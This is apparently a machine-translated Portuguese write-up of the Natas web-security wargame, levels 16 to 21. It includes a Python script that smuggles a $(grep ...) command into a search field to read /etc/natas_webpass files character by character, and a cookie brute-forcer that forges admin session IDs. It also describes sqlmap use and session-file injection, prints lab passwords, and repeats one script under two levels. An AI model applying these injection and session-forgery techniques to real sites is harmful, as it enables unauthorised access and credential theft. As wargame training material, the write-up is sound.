Natas Web. Passagem da plataforma CTF destinada a explorar vulnerabilidades da Web. Parte 3

imagem

Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.

Partes passadas: parte 1 e parte 2 .

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

nível 16


A julgar pelo código fonte, todos os caracteres de serviço são filtrados e a transferência de "colagem" de dois arquivos é impossível, pois a cadeia é transmitida entre aspas.

imagem

Usando construções como $ (cmd), você pode controlar a saída da "chave".

imagem

A ideia é esta:
  1. Se grep -i "key" file.txt estiver em construção, key for uma string vazia, o arquivo inteiro será exibido.
  2. Como existe apenas uma linha no arquivo com a senha, podemos controlar sua saída.
  3. Ao passar a expressão regular para grep dentro da construção $ (cmd), produziremos uma linha com uma senha (quando adivinhamos o início da senha) no parâmetro -i e nenhuma linha será gerada no dictionary.txt, ou em vez de uma linha com a senha será uma sequência vazia e o arquivo dictionary.txt inteiro será exibido.

import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd) 

imagem

Tem uma senha.

nível 17


Usamos o sqlmap de acordo com o cenário anterior (da segunda parte).

imagem

imagem

imagem

Existe uma senha.

nível 18


Vamos analisar o código fonte.

imagem

O primeiro passo é verificar se os cookies estão definidos no navegador (função my_session_start ()).

imagem

Como não há nada para controlar os cookies na tarefa, eles devem ser definidos, ou seja, a função retornará false e no código raiz iremos para o ramo else. Verificando o preenchimento dos campos de nome de usuário e senha. A função session_id () pega um número aleatório no intervalo de 1 a 640 (o que é muito estranho por que essa restrição) e cria configurações para a função session_start ().

imagem

imagem

Em seguida, o nome de usuário == "admin" é verificado. Se efetuamos login como administrador, somos informados sobre isso e recebemos uma senha para o próximo nível.

imagem

Idéia de solução: o intervalo de IDs é definido para os usuários. Escreveremos um arquivo de força bruta que irá para a página com o ID no intervalo de 1 a 640.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 

imagem

Obtemos a senha com id = 119.

nível 19


Como o código é o mesmo, a ideia é a mesma. Vamos ver o biscoito.

imagem

String codificada em hexadecimal. Nós decodificaremos.

imagem

Resta apenas mudar o código.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 


imagem

Existe uma senha.

nível 20


Após analisar o código fonte, podemos assumir que 2 funções merecem atenção.

A função mywrite () grava dados em cada linha como key_value. Mas a chave é selecionada aleatoriamente e o valor é transferido do campo de entrada.

imagem

A função myread () passa por todas as linhas e lê dados separados por espaço (chave e valor).

imagem

Nós veremos a senha somente se a linha "admin 1" aparecer nesse arquivo. O fato é que podemos ignorar a lógica do aplicativo e anotar quantas linhas quisermos. Para fazer isso, devemos enviar uma linha do formulário "Value0_TranslationStrings_Key1_Value1, etc."

imagem

Depois que o valor é gravado no arquivo, recarregamos a página para que seja lida no arquivo.

imagem

Tiramos a senha.

nível 21


Somos fornecidos com duas versões do site. O fato é que cookies e sessões estão disponíveis para transferência entre páginas diferentes no mesmo domínio. Estudamos o código fonte do segundo site. Todos os parâmetros aceitos são definidos na sessão. Por analogia com os níveis anteriores, você deve definir admin => 1.

imagem

Basta adicionar um novo parâmetro de administrador com o valor 1, recarregar a página e colocar esses cookies na página principal.

imagem

imagem

Tiramos a senha.

Para ser continuado. Você pode se juntar a nós no Telegram .

Source: https://habr.com/ru/post/pt464729/


All Articles